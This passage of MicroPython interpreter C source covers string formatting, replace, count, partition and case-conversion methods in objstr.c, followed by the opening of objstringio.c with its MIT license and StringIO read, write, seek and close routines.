vstr_t vstr = mp_obj_str_format_helper((const char*)str, (const char*)str + len, &arg_i, n_args, args, kwargs); return mp_obj_new_str_from_vstr(&mp_type_str, &vstr); } MP_DEFINE_CONST_FUN_OBJ_KW(str_format_obj, 1, mp_obj_str_format); STATIC mp_obj_t str_modulo_format(mp_obj_t pattern, size_t n_args, const mp_obj_t *args, mp_obj_t dict) { mp_check_self(MP_OBJ_IS_STR_OR_BYTES(pattern)); GET_STR_DATA_LEN(pattern, str, len); const byte *start_str = str; bool is_bytes = MP_OBJ_IS_TYPE(pattern, &mp_type_bytes); size_t arg_i = 0; vstr_t vstr; mp_print_t print; vstr_init_print(&vstr, 16, &print); for (const byte *top = str + len; str < top; str++) { mp_obj_t arg = MP_OBJ_NULL; if (*str != '%') { vstr_add_byte(&vstr, *str); continue; } if (++str >= top) { goto incomplete_format; } if (*str == '%') { vstr_add_byte(&vstr, '%'); continue; } // Dictionary value lookup if (*str == '(') { if (dict == MP_OBJ_NULL) { mp_raise_TypeError("format requires a dict"); } arg_i = 1; // we used up the single dict argument const byte *key = ++str; while (*str != ')') { if (str >= top) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { terse_str_format_value_error(); } else { mp_raise_ValueError("incomplete format key"); } } ++str; } mp_obj_t k_obj = mp_obj_new_str((const char*)key, str - key, true); arg = mp_obj_dict_get(dict, k_obj); str++; } int flags = 0; char fill = ' '; int alt = 0; while (str < top) { if (*str == '-') flags |= PF_FLAG_LEFT_ADJUST; else if (*str == '+') flags |= PF_FLAG_SHOW_SIGN; else if (*str == ' ') flags |= PF_FLAG_SPACE_SIGN; else if (*str == '#') alt = PF_FLAG_SHOW_PREFIX; else if (*str == '0') { flags |= PF_FLAG_PAD_AFTER_SIGN; fill = '0'; } else break; str++; } // parse width, if it exists int width = 0; if (str < top) { if (*str == '*') { if (arg_i >= n_args) { goto not_enough_args; } width = mp_obj_get_int(args[arg_i++]); str++; } else { str = (const byte*)str_to_int((const char*)str, (const char*)top, &width); } } int prec = -1; if (str < top && *str == '.') { if (++str < top) { if (*str == '*') { if (arg_i >= n_args) { goto not_enough_args; } prec = mp_obj_get_int(args[arg_i++]); str++; } else { prec = 0; str = (const byte*)str_to_int((const char*)str, (const char*)top, &prec); } } } if (str >= top) { incomplete_format: if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { terse_str_format_value_error(); } else { mp_raise_ValueError("incomplete format"); } } // Tuple value lookup if (arg == MP_OBJ_NULL) { if (arg_i >= n_args) { not_enough_args: mp_raise_TypeError("not enough arguments for format string"); } arg = args[arg_i++]; } switch (*str) { case 'c': if (MP_OBJ_IS_STR(arg)) { size_t slen; const char *s = mp_obj_str_get_data(arg, &slen); if (slen != 1) { mp_raise_TypeError("%%c requires int or char"); } mp_print_strn(&print, s, 1, flags, ' ', width); } else if (arg_looks_integer(arg)) { char ch = mp_obj_get_int(arg); mp_print_strn(&print, &ch, 1, flags, ' ', width); } else { mp_raise_TypeError("integer required"); } break; case 'd': case 'i': case 'u': mp_print_mp_int(&print, arg_as_int(arg), 10, 'a', flags, fill, width, prec); break; #if MICROPY_PY_BUILTINS_FLOAT case 'e': case 'E': case 'f': case 'F': case 'g': case 'G': mp_print_float(&print, mp_obj_get_float(arg), *str, flags, fill, width, prec); break; #endif case 'o': if (alt) { flags |= (PF_FLAG_SHOW_PREFIX | PF_FLAG_SHOW_OCTAL_LETTER); } mp_print_mp_int(&print, arg, 8, 'a', flags, fill, width, prec); break; case 'r': case 's': { vstr_t arg_vstr; mp_print_t arg_print; vstr_init_print(&arg_vstr, 16, &arg_print); mp_print_kind_t print_kind = (*str == 'r' ? PRINT_REPR : PRINT_STR); if (print_kind == PRINT_STR && is_bytes && MP_OBJ_IS_TYPE(arg, &mp_type_bytes)) { // If we have something like b"%s" % b"1", bytes arg should be // printed undecorated. print_kind = PRINT_RAW; } mp_obj_print_helper(&arg_print, arg, print_kind); uint vlen = arg_vstr.len; if (prec < 0) { prec = vlen; } if (vlen > (uint)prec) { vlen = prec; } mp_print_strn(&print, arg_vstr.buf, vlen, flags, ' ', width); vstr_clear(&arg_vstr); break; } case 'X': case 'x': mp_print_mp_int(&print, arg, 16, *str - ('X' - 'A'), flags | alt, fill, width, prec); break; default: if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { terse_str_format_value_error(); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError, "unsupported format character '%c' (0x%x) at index %d", *str, *str, str - start_str)); } } } if (arg_i != n_args) { mp_raise_TypeError("not all arguments converted during string formatting"); } return mp_obj_new_str_from_vstr(is_bytes ? &mp_type_bytes : &mp_type_str, &vstr); } // The implementation is optimized, returning the original string if there's // nothing to replace. STATIC mp_obj_t str_replace(size_t n_args, const mp_obj_t *args) { mp_check_self(MP_OBJ_IS_STR_OR_BYTES(args[0])); mp_int_t max_rep = -1; if (n_args == 4) { max_rep = mp_obj_get_int(args[3]); if (max_rep == 0) { return args[0]; } else if (max_rep < 0) { max_rep = -1; } } // if max_rep is still -1 by this point we will need to do all possible replacements // check argument types const mp_obj_type_t *self_type = mp_obj_get_type(args[0]); if (mp_obj_get_type(args[1]) != self_type) { bad_implicit_conversion(args[1]); } if (mp_obj_get_type(args[2]) != self_type) { bad_implicit_conversion(args[2]); } // extract string data GET_STR_DATA_LEN(args[0], str, str_len); GET_STR_DATA_LEN(args[1], old, old_len); GET_STR_DATA_LEN(args[2], new, new_len); // old won't exist in str if it's longer, so nothing to replace if (old_len > str_len) { return args[0]; } // data for the replaced string byte *data = NULL; vstr_t vstr; // do 2 passes over the string: // first pass computes the required length of the replaced string // second pass does the replacements for (;;) { size_t replaced_str_index = 0; size_t num_replacements_done = 0; const byte *old_occurrence; const byte *offset_ptr = str; size_t str_len_remain = str_len; if (old_len == 0) { // if old_str is empty, copy new_str to start of replaced string // copy the replacement string if (data != NULL) { memcpy(data, new, new_len); } replaced_str_index += new_len; num_replacements_done++; } while (num_replacements_done != (size_t)max_rep && str_len_remain > 0 && (old_occurrence = find_subbytes(offset_ptr, str_len_remain, old, old_len, 1)) != NULL) { if (old_len == 0) { old_occurrence += 1; } // copy from just after end of last occurrence of to-be-replaced string to right before start of next occurrence if (data != NULL) { memcpy(data + replaced_str_index, offset_ptr, old_occurrence - offset_ptr); } replaced_str_index += old_occurrence - offset_ptr; // copy the replacement string if (data != NULL) { memcpy(data + replaced_str_index, new, new_len); } replaced_str_index += new_len; offset_ptr = old_occurrence + old_len; str_len_remain = str + str_len - offset_ptr; num_replacements_done++; } // copy from just after end of last occurrence of to-be-replaced string to end of old string if (data != NULL) { memcpy(data + replaced_str_index, offset_ptr, str_len_remain); } replaced_str_index += str_len_remain; if (data == NULL) { // first pass if (num_replacements_done == 0) { // no substr found, return original string return args[0]; } else { // substr found, allocate new string vstr_init_len(&vstr, replaced_str_index); data = (byte*)vstr.buf; assert(data != NULL); } } else { // second pass, we are done break; } } return mp_obj_new_str_from_vstr(self_type, &vstr); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_replace_obj, 3, 4, str_replace); STATIC mp_obj_t str_count(size_t n_args, const mp_obj_t *args) { const mp_obj_type_t *self_type = mp_obj_get_type(args[0]); mp_check_self(MP_OBJ_IS_STR_OR_BYTES(args[0])); // check argument type if (mp_obj_get_type(args[1]) != self_type) { bad_implicit_conversion(args[1]); } GET_STR_DATA_LEN(args[0], haystack, haystack_len); GET_STR_DATA_LEN(args[1], needle, needle_len); const byte *start = haystack; const byte *end = haystack + haystack_len; if (n_args >= 3 && args[2] != mp_const_none) { start = str_index_to_ptr(self_type, haystack, haystack_len, args[2], true); } if (n_args >= 4 && args[3] != mp_const_none) { end = str_index_to_ptr(self_type, haystack, haystack_len, args[3], true); } // if needle_len is zero then we count each gap between characters as an occurrence if (needle_len == 0) { return MP_OBJ_NEW_SMALL_INT(unichar_charlen((const char*)start, end - start) + 1); } // count the occurrences mp_int_t num_occurrences = 0; for (const byte *haystack_ptr = start; haystack_ptr + needle_len <= end;) { if (memcmp(haystack_ptr, needle, needle_len) == 0) { num_occurrences++; haystack_ptr += needle_len; } else { haystack_ptr = utf8_next_char(haystack_ptr); } } return MP_OBJ_NEW_SMALL_INT(num_occurrences); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_count_obj, 2, 4, str_count); #if MICROPY_PY_BUILTINS_STR_PARTITION STATIC mp_obj_t str_partitioner(mp_obj_t self_in, mp_obj_t arg, int direction) { mp_check_self(MP_OBJ_IS_STR_OR_BYTES(self_in)); mp_obj_type_t *self_type = mp_obj_get_type(self_in); if (self_type != mp_obj_get_type(arg)) { bad_implicit_conversion(arg); } GET_STR_DATA_LEN(self_in, str, str_len); GET_STR_DATA_LEN(arg, sep, sep_len); if (sep_len == 0) { mp_raise_ValueError("empty separator"); } mp_obj_t result[3]; if (self_type == &mp_type_str) { result[0] = MP_OBJ_NEW_QSTR(MP_QSTR_); result[1] = MP_OBJ_NEW_QSTR(MP_QSTR_); result[2] = MP_OBJ_NEW_QSTR(MP_QSTR_); } else { result[0] = mp_const_empty_bytes; result[1] = mp_const_empty_bytes; result[2] = mp_const_empty_bytes; } if (direction > 0) { result[0] = self_in; } else { result[2] = self_in; } const byte *position_ptr = find_subbytes(str, str_len, sep, sep_len, direction); if (position_ptr != NULL) { size_t position = position_ptr - str; result[0] = mp_obj_new_str_of_type(self_type, str, position); result[1] = arg; result[2] = mp_obj_new_str_of_type(self_type, str + position + sep_len, str_len - position - sep_len); } return mp_obj_new_tuple(3, result); } STATIC mp_obj_t str_partition(mp_obj_t self_in, mp_obj_t arg) { return str_partitioner(self_in, arg, 1); } MP_DEFINE_CONST_FUN_OBJ_2(str_partition_obj, str_partition); STATIC mp_obj_t str_rpartition(mp_obj_t self_in, mp_obj_t arg) { return str_partitioner(self_in, arg, -1); } MP_DEFINE_CONST_FUN_OBJ_2(str_rpartition_obj, str_rpartition); #endif // Supposedly not too critical operations, so optimize for code size STATIC mp_obj_t str_caseconv(unichar (*op)(unichar), mp_obj_t self_in) { GET_STR_DATA_LEN(self_in, self_data, self_len); vstr_t vstr; vstr_init_len(&vstr, self_len); byte *data = (byte*)vstr.buf; for (size_t i = 0; i < self_len; i++) { *data++ = op(*self_data++); } return mp_obj_new_str_from_vstr(mp_obj_get_type(self_in), &vstr); } STATIC mp_obj_t str_lower(mp_obj_t self_in) { return str_caseconv(unichar_tolower, self_in); } MP_DEFINE_CONST_FUN_OBJ_1(str_lower_obj, str_lower); STATIC mp_obj_t str_upper(mp_obj_t self_in) { return str_caseconv(unichar_toupper, self_in); } MP_DEFINE_CONST_FUN_OBJ_1(str_upper_obj, str_upper); STATIC mp_obj_t str_uni_istype(bool (*f)(unichar), mp_obj_t self_in) { GET_STR_DATA_LEN(self_in, self_data, self_len); if (self_len == 0) { return mp_const_false; // default to False for empty str } if (f != unichar_isupper && f != unichar_islower) { for (size_t i = 0; i < self_len; i++) { if (!f(*self_data++)) { return mp_const_false; } } } else { bool contains_alpha = false; for (size_t i = 0; i < self_len; i++) { // only check alphanumeric characters if (unichar_isalpha(*self_data++)) { contains_alpha = true; if (!f(*(self_data - 1))) { // -1 because we already incremented above return mp_const_false; } } } if (!contains_alpha) { return mp_const_false; } } return mp_const_true; } STATIC mp_obj_t str_isspace(mp_obj_t self_in) { return str_uni_istype(unichar_isspace, self_in); } MP_DEFINE_CONST_FUN_OBJ_1(str_isspace_obj, str_isspace); STATIC mp_obj_t str_isalpha(mp_obj_t self_in) { return str_uni_istype(unichar_isalpha, self_in); } MP_DEFINE_CONST_FUN_OBJ_1(str_isalpha_obj, str_isalpha); STATIC mp_obj_t str_isdigit(mp_obj_t self_in) { return str_uni_istype(unichar_isdigit, self_in); } MP_DEFINE_CONST_FUN_OBJ_1(str_isdigit_obj, str_isdigit); STATIC mp_obj_t str_isupper(mp_obj_t self_in) { return str_uni_istype(unichar_isupper, self_in); } MP_DEFINE_CONST_FUN_OBJ_1(str_isupper_obj, str_isupper); STATIC mp_obj_t str_islower(mp_obj_t self_in) { return str_uni_istype(unichar_islower, self_in); } MP_DEFINE_CONST_FUN_OBJ_1(str_islower_obj, str_islower); #if MICROPY_CPYTHON_COMPAT // These methods are superfluous in the presence of str() and bytes() // constructors. // TODO: should accept kwargs too STATIC mp_obj_t bytes_decode(size_t n_args, const mp_obj_t *args) { mp_obj_t new_args[2]; if (n_args == 1) { new_args[0] = args[0]; new_args[1] = MP_OBJ_NEW_QSTR(MP_QSTR_utf_hyphen_8); args = new_args; n_args++; } return mp_obj_str_make_new(&mp_type_str, n_args, 0, args); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(bytes_decode_obj, 1, 3, bytes_decode); // TODO: should accept kwargs too STATIC mp_obj_t str_encode(size_t n_args, const mp_obj_t *args) { mp_obj_t new_args[2]; if (n_args == 1) { new_args[0] = args[0]; new_args[1] = MP_OBJ_NEW_QSTR(MP_QSTR_utf_hyphen_8); args = new_args; n_args++; } return bytes_make_new(NULL, n_args, 0, args); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_encode_obj, 1, 3, str_encode); #endif mp_int_t mp_obj_str_get_buffer(mp_obj_t self_in, mp_buffer_info_t *bufinfo, mp_uint_t flags) { if (flags == MP_BUFFER_READ) { GET_STR_DATA_LEN(self_in, str_data, str_len); bufinfo->buf = (void*)str_data; bufinfo->len = str_len; bufinfo->typecode = 'B'; // bytes should be unsigned, so should unicode byte-access return 0; } else { // can't write to a string bufinfo->buf = NULL; bufinfo->len = 0; bufinfo->typecode = -1; return 1; } } STATIC const mp_rom_map_elem_t str8_locals_dict_table[] = { #if MICROPY_CPYTHON_COMPAT { MP_ROM_QSTR(MP_QSTR_decode), MP_ROM_PTR(&bytes_decode_obj) }, #if !MICROPY_PY_BUILTINS_STR_UNICODE // If we have separate unicode type, then here we have methods only // for bytes type, and it should not have encode() methods. Otherwise, // we have non-compliant-but-practical bytestring type, which shares // method table with bytes, so they both have encode() and decode() // methods (which should do type checking at runtime). { MP_ROM_QSTR(MP_QSTR_encode), MP_ROM_PTR(&str_encode_obj) }, #endif #endif { MP_ROM_QSTR(MP_QSTR_find), MP_ROM_PTR(&str_find_obj) }, { MP_ROM_QSTR(MP_QSTR_rfind), MP_ROM_PTR(&str_rfind_obj) }, { MP_ROM_QSTR(MP_QSTR_index), MP_ROM_PTR(&str_index_obj) }, { MP_ROM_QSTR(MP_QSTR_rindex), MP_ROM_PTR(&str_rindex_obj) }, { MP_ROM_QSTR(MP_QSTR_join), MP_ROM_PTR(&str_join_obj) }, { MP_ROM_QSTR(MP_QSTR_split), MP_ROM_PTR(&str_split_obj) }, #if MICROPY_PY_BUILTINS_STR_SPLITLINES { MP_ROM_QSTR(MP_QSTR_splitlines), MP_ROM_PTR(&str_splitlines_obj) }, #endif { MP_ROM_QSTR(MP_QSTR_rsplit), MP_ROM_PTR(&str_rsplit_obj) }, { MP_ROM_QSTR(MP_QSTR_startswith), MP_ROM_PTR(&str_startswith_obj) }, { MP_ROM_QSTR(MP_QSTR_endswith), MP_ROM_PTR(&str_endswith_obj) }, { MP_ROM_QSTR(MP_QSTR_strip), MP_ROM_PTR(&str_strip_obj) }, { MP_ROM_QSTR(MP_QSTR_lstrip), MP_ROM_PTR(&str_lstrip_obj) }, { MP_ROM_QSTR(MP_QSTR_rstrip), MP_ROM_PTR(&str_rstrip_obj) }, { MP_ROM_QSTR(MP_QSTR_format), MP_ROM_PTR(&str_format_obj) }, { MP_ROM_QSTR(MP_QSTR_replace), MP_ROM_PTR(&str_replace_obj) }, { MP_ROM_QSTR(MP_QSTR_count), MP_ROM_PTR(&str_count_obj) }, #if MICROPY_PY_BUILTINS_STR_PARTITION { MP_ROM_QSTR(MP_QSTR_partition), MP_ROM_PTR(&str_partition_obj) }, { MP_ROM_QSTR(MP_QSTR_rpartition), MP_ROM_PTR(&str_rpartition_obj) }, #endif #if MICROPY_PY_BUILTINS_STR_CENTER { MP_ROM_QSTR(MP_QSTR_center), MP_ROM_PTR(&str_center_obj) }, #endif { MP_ROM_QSTR(MP_QSTR_lower), MP_ROM_PTR(&str_lower_obj) }, { MP_ROM_QSTR(MP_QSTR_upper), MP_ROM_PTR(&str_upper_obj) }, { MP_ROM_QSTR(MP_QSTR_isspace), MP_ROM_PTR(&str_isspace_obj) }, { MP_ROM_QSTR(MP_QSTR_isalpha), MP_ROM_PTR(&str_isalpha_obj) }, { MP_ROM_QSTR(MP_QSTR_isdigit), MP_ROM_PTR(&str_isdigit_obj) }, { MP_ROM_QSTR(MP_QSTR_isupper), MP_ROM_PTR(&str_isupper_obj) }, { MP_ROM_QSTR(MP_QSTR_islower), MP_ROM_PTR(&str_islower_obj) }, }; STATIC MP_DEFINE_CONST_DICT(str8_locals_dict, str8_locals_dict_table); #if !MICROPY_PY_BUILTINS_STR_UNICODE STATIC mp_obj_t mp_obj_new_str_iterator(mp_obj_t str, mp_obj_iter_buf_t *iter_buf); const mp_obj_type_t mp_type_str = { { &mp_type_type }, .name = MP_QSTR_str, .print = str_print, .make_new = mp_obj_str_make_new, .binary_op = mp_obj_str_binary_op, .subscr = bytes_subscr, .getiter = mp_obj_new_str_iterator, .buffer_p = { .get_buffer = mp_obj_str_get_buffer }, .locals_dict = (mp_obj_dict_t*)&str8_locals_dict, }; #endif // Reuses most of methods from str const mp_obj_type_t mp_type_bytes = { { &mp_type_type }, .name = MP_QSTR_bytes, .print = str_print, .make_new = bytes_make_new, .binary_op = mp_obj_str_binary_op, .subscr = bytes_subscr, .getiter = mp_obj_new_bytes_iterator, .buffer_p = { .get_buffer = mp_obj_str_get_buffer }, .locals_dict = (mp_obj_dict_t*)&str8_locals_dict, }; // the zero-length bytes const mp_obj_str_t mp_const_empty_bytes_obj = {{&mp_type_bytes}, 0, 0, NULL}; // Create a str/bytes object using the given data. New memory is allocated and // the data is copied across. mp_obj_t mp_obj_new_str_of_type(const mp_obj_type_t *type, const byte* data, size_t len) { mp_obj_str_t *o = m_new_obj(mp_obj_str_t); o->base.type = type; o->len = len; if (data) { o->hash = qstr_compute_hash(data, len); byte *p = m_new(byte, len + 1); o->data = p; memcpy(p, data, len * sizeof(byte)); p[len] = '\0'; // for now we add null for compatibility with C ASCIIZ strings } return MP_OBJ_FROM_PTR(o); } // Create a str/bytes object from the given vstr. The vstr buffer is resized to // the exact length required and then reused for the str/bytes object. The vstr // is cleared and can safely be passed to vstr_free if it was heap allocated. mp_obj_t mp_obj_new_str_from_vstr(const mp_obj_type_t *type, vstr_t *vstr) { // if not a bytes object, look if a qstr with this data already exists if (type == &mp_type_str) { qstr q = qstr_find_strn(vstr->buf, vstr->len); if (q != MP_QSTR_NULL) { vstr_clear(vstr); vstr->alloc = 0; return MP_OBJ_NEW_QSTR(q); } } // make a new str/bytes object mp_obj_str_t *o = m_new_obj(mp_obj_str_t); o->base.type = type; o->len = vstr->len; o->hash = qstr_compute_hash((byte*)vstr->buf, vstr->len); if (vstr->len + 1 == vstr->alloc) { o->data = (byte*)vstr->buf; } else { o->data = (byte*)m_renew(char, vstr->buf, vstr->alloc, vstr->len + 1); } ((byte*)o->data)[o->len] = '\0'; // add null byte vstr->buf = NULL; vstr->alloc = 0; return MP_OBJ_FROM_PTR(o); } mp_obj_t mp_obj_new_str(const char* data, size_t len, bool make_qstr_if_not_already) { if (make_qstr_if_not_already) { // use existing, or make a new qstr return MP_OBJ_NEW_QSTR(qstr_from_strn(data, len)); } else { qstr q = qstr_find_strn(data, len); if (q != MP_QSTR_NULL) { // qstr with this data already exists return MP_OBJ_NEW_QSTR(q); } else { // no existing qstr, don't make one return mp_obj_new_str_of_type(&mp_type_str, (const byte*)data, len); } } } mp_obj_t mp_obj_str_intern(mp_obj_t str) { GET_STR_DATA_LEN(str, data, len); return MP_OBJ_NEW_QSTR(qstr_from_strn((const char*)data, len)); } mp_obj_t mp_obj_new_bytes(const byte* data, size_t len) { return mp_obj_new_str_of_type(&mp_type_bytes, data, len); } bool mp_obj_str_equal(mp_obj_t s1, mp_obj_t s2) { if (MP_OBJ_IS_QSTR(s1) && MP_OBJ_IS_QSTR(s2)) { return s1 == s2; } else { GET_STR_HASH(s1, h1); GET_STR_HASH(s2, h2); // If any of hashes is 0, it means it's not valid if (h1 != 0 && h2 != 0 && h1 != h2) { return false; } GET_STR_DATA_LEN(s1, d1, l1); GET_STR_DATA_LEN(s2, d2, l2); if (l1 != l2) { return false; } return memcmp(d1, d2, l1) == 0; } } STATIC void bad_implicit_conversion(mp_obj_t self_in) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("can't convert to str implicitly"); } else { const qstr src_name = mp_obj_get_type(self_in)->name; nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "can't convert '%q' object to %q implicitly", src_name, src_name == MP_QSTR_str ? MP_QSTR_bytes : MP_QSTR_str)); } } // use this if you will anyway convert the string to a qstr // will be more efficient for the case where it's already a qstr qstr mp_obj_str_get_qstr(mp_obj_t self_in) { if (MP_OBJ_IS_QSTR(self_in)) { return MP_OBJ_QSTR_VALUE(self_in); } else if (MP_OBJ_IS_TYPE(self_in, &mp_type_str)) { mp_obj_str_t *self = MP_OBJ_TO_PTR(self_in); return qstr_from_strn((char*)self->data, self->len); } else { bad_implicit_conversion(self_in); } } // only use this function if you need the str data to be zero terminated // at the moment all strings are zero terminated to help with C ASCIIZ compatibility const char *mp_obj_str_get_str(mp_obj_t self_in) { if (MP_OBJ_IS_STR_OR_BYTES(self_in)) { GET_STR_DATA_LEN(self_in, s, l); (void)l; // len unused return (const char*)s; } else { bad_implicit_conversion(self_in); } } const char *mp_obj_str_get_data(mp_obj_t self_in, size_t *len) { if (MP_OBJ_IS_STR_OR_BYTES(self_in)) { GET_STR_DATA_LEN(self_in, s, l); *len = l; return (const char*)s; } else { bad_implicit_conversion(self_in); } } #if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_C const byte *mp_obj_str_get_data_no_check(mp_obj_t self_in, size_t *len) { if (MP_OBJ_IS_QSTR(self_in)) { return qstr_data(MP_OBJ_QSTR_VALUE(self_in), len); } else { *len = ((mp_obj_str_t*)self_in)->len; return ((mp_obj_str_t*)self_in)->data; } } #endif /******************************************************************************/ /* str iterator */ typedef struct _mp_obj_str8_it_t { mp_obj_base_t base; mp_fun_1_t iternext; mp_obj_t str; size_t cur; } mp_obj_str8_it_t; #if !MICROPY_PY_BUILTINS_STR_UNICODE STATIC mp_obj_t str_it_iternext(mp_obj_t self_in) { mp_obj_str8_it_t *self = MP_OBJ_TO_PTR(self_in); GET_STR_DATA_LEN(self->str, str, len); if (self->cur < len) { mp_obj_t o_out = mp_obj_new_str((const char*)str + self->cur, 1, true); self->cur += 1; return o_out; } else { return MP_OBJ_STOP_ITERATION; } } STATIC mp_obj_t mp_obj_new_str_iterator(mp_obj_t str, mp_obj_iter_buf_t *iter_buf) { assert(sizeof(mp_obj_str8_it_t) <= sizeof(mp_obj_iter_buf_t)); mp_obj_str8_it_t *o = (mp_obj_str8_it_t*)iter_buf; o->base.type = &mp_type_polymorph_iter; o->iternext = str_it_iternext; o->str = str; o->cur = 0; return MP_OBJ_FROM_PTR(o); } #endif STATIC mp_obj_t bytes_it_iternext(mp_obj_t self_in) { mp_obj_str8_it_t *self = MP_OBJ_TO_PTR(self_in); GET_STR_DATA_LEN(self->str, str, len); if (self->cur < len) { mp_obj_t o_out = MP_OBJ_NEW_SMALL_INT(str[self->cur]); self->cur += 1; return o_out; } else { return MP_OBJ_STOP_ITERATION; } } mp_obj_t mp_obj_new_bytes_iterator(mp_obj_t str, mp_obj_iter_buf_t *iter_buf) { assert(sizeof(mp_obj_str8_it_t) <= sizeof(mp_obj_iter_buf_t)); mp_obj_str8_it_t *o = (mp_obj_str8_it_t*)iter_buf; o->base.type = &mp_type_polymorph_iter; o->iternext = bytes_it_iternext; o->str = str; o->cur = 0; return MP_OBJ_FROM_PTR(o); } ================================================ FILE: micropython/source/py/objstringio.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * Copyright (c) 2014 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/nlr.h" #include "py/objstr.h" #include "py/objstringio.h" #include "py/runtime.h" #include "py/stream.h" #if MICROPY_PY_IO #if MICROPY_CPYTHON_COMPAT STATIC void check_stringio_is_open(const mp_obj_stringio_t *o) { if (o->vstr == NULL) { mp_raise_ValueError("I/O operation on closed file"); } } #else #define check_stringio_is_open(o) #endif STATIC void stringio_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) { (void)kind; mp_obj_stringio_t *self = MP_OBJ_TO_PTR(self_in); mp_printf(print, self->base.type == &mp_type_stringio ? "" : "", self); } STATIC mp_uint_t stringio_read(mp_obj_t o_in, void *buf, mp_uint_t size, int *errcode) { (void)errcode; mp_obj_stringio_t *o = MP_OBJ_TO_PTR(o_in); check_stringio_is_open(o); if (o->vstr->len <= o->pos) { // read to EOF, or seeked to EOF or beyond return 0; } mp_uint_t remaining = o->vstr->len - o->pos; if (size > remaining) { size = remaining; } memcpy(buf, o->vstr->buf + o->pos, size); o->pos += size; return size; } STATIC void stringio_copy_on_write(mp_obj_stringio_t *o) { const void *buf = o->vstr->buf; o->vstr->buf = m_new(char, o->vstr->len); memcpy(o->vstr->buf, buf, o->vstr->len); o->vstr->fixed_buf = false; o->ref_obj = MP_OBJ_NULL; } STATIC mp_uint_t stringio_write(mp_obj_t o_in, const void *buf, mp_uint_t size, int *errcode) { (void)errcode; mp_obj_stringio_t *o = MP_OBJ_TO_PTR(o_in); check_stringio_is_open(o); if (o->vstr->fixed_buf) { stringio_copy_on_write(o); } mp_uint_t new_pos = o->pos + size; if (new_pos < size) { // Writing bytes will overflow o->pos beyond limit of mp_uint_t. *errcode = MP_EFBIG; return MP_STREAM_ERROR; } mp_uint_t org_len = o->vstr->len; if (new_pos > o->vstr->alloc) { // Take all what's already allocated... o->vstr->len = o->vstr->alloc; // ... and add more vstr_add_len(o->vstr, new_pos - o->vstr->alloc); } // If there was a seek past EOF, clear the hole if (o->pos > org_len) { memset(o->vstr->buf + org_len, 0, o->pos - org_len); } memcpy(o->vstr->buf + o->pos, buf, size); o->pos = new_pos; if (new_pos > o->vstr->len) { o->vstr->len = new_pos; } return size; } STATIC mp_uint_t stringio_ioctl(mp_obj_t o_in, mp_uint_t request, uintptr_t arg, int *errcode) { (void)errcode; mp_obj_stringio_t *o = MP_OBJ_TO_PTR(o_in); switch (request) { case MP_STREAM_SEEK: { struct mp_stream_seek_t *s = (struct mp_stream_seek_t*)arg; mp_uint_t ref = 0; switch (s->whence) { case MP_SEEK_CUR: ref = o->pos; break; case MP_SEEK_END: ref = o->vstr->len; break; } mp_uint_t new_pos = ref + s->offset; // For MP_SEEK_SET, offset is unsigned if (s->whence != MP_SEEK_SET && s->offset < 0) { if (new_pos > ref) { // Negative offset from SEEK_CUR or SEEK_END went past 0. // CPython sets position to 0, POSIX returns an EINVAL error new_pos = 0; } } else if (new_pos < ref) { // positive offset went beyond the limit of mp_uint_t *errcode = MP_EINVAL; // replace with MP_EOVERFLOW when defined return MP_STREAM_ERROR; } s->offset = o->pos = new_pos; return 0; } case MP_STREAM_FLUSH: return 0; default: *errcode = MP_EINVAL; return MP_STREAM_ERROR; } } #define STREAM_TO_CONTENT_TYPE(o) (((o)->base.type == &mp_type_stringio) ? &mp_type_str : &mp_type_bytes) STATIC mp_obj_t stringio_getvalue(mp_obj_t self_in) { mp_obj_stringio_t *self = MP_OBJ_TO_PTR(self_in); check_stringio_is_open(self); // TODO: Try to avoid copying string return mp_obj_new_str_of_type(STREAM_TO_CONTENT_TYPE(self), (byte*)self->vstr->buf, self->vstr->len); } STATIC MP_DEFINE_CONST_FUN_OBJ_1(stringio_getvalue_obj, stringio_getvalue); STATIC mp_obj_t stringio_close(mp_obj_t self_in) { mp_obj_stringio_t *self = MP_OBJ_TO_PTR(self_in); #if MICROPY_CPYTHON_COMPAT vstr_free(self->vstr); self->vstr = NULL; #else vstr_clear(self->vstr); self->vstr->alloc = 0; self->vstr->len = 0; self->pos = 0; #endif return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_1(stringio_close_obj, stringio_close); STATIC mp_obj_t stringio___exit__(size_t n_args, const mp_obj_t *args) { (void)n_args; return stringio_close(args[0]); } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(stringio___exit___obj, 4, 4, stringio___exit__); STATIC mp_obj_stringio_t *stringio_new(const mp_obj_type_t *type) { mp_obj_stringio_t *o = m_new_obj(mp_obj_stringio_t); o->base.type = type; o->pos = 0; 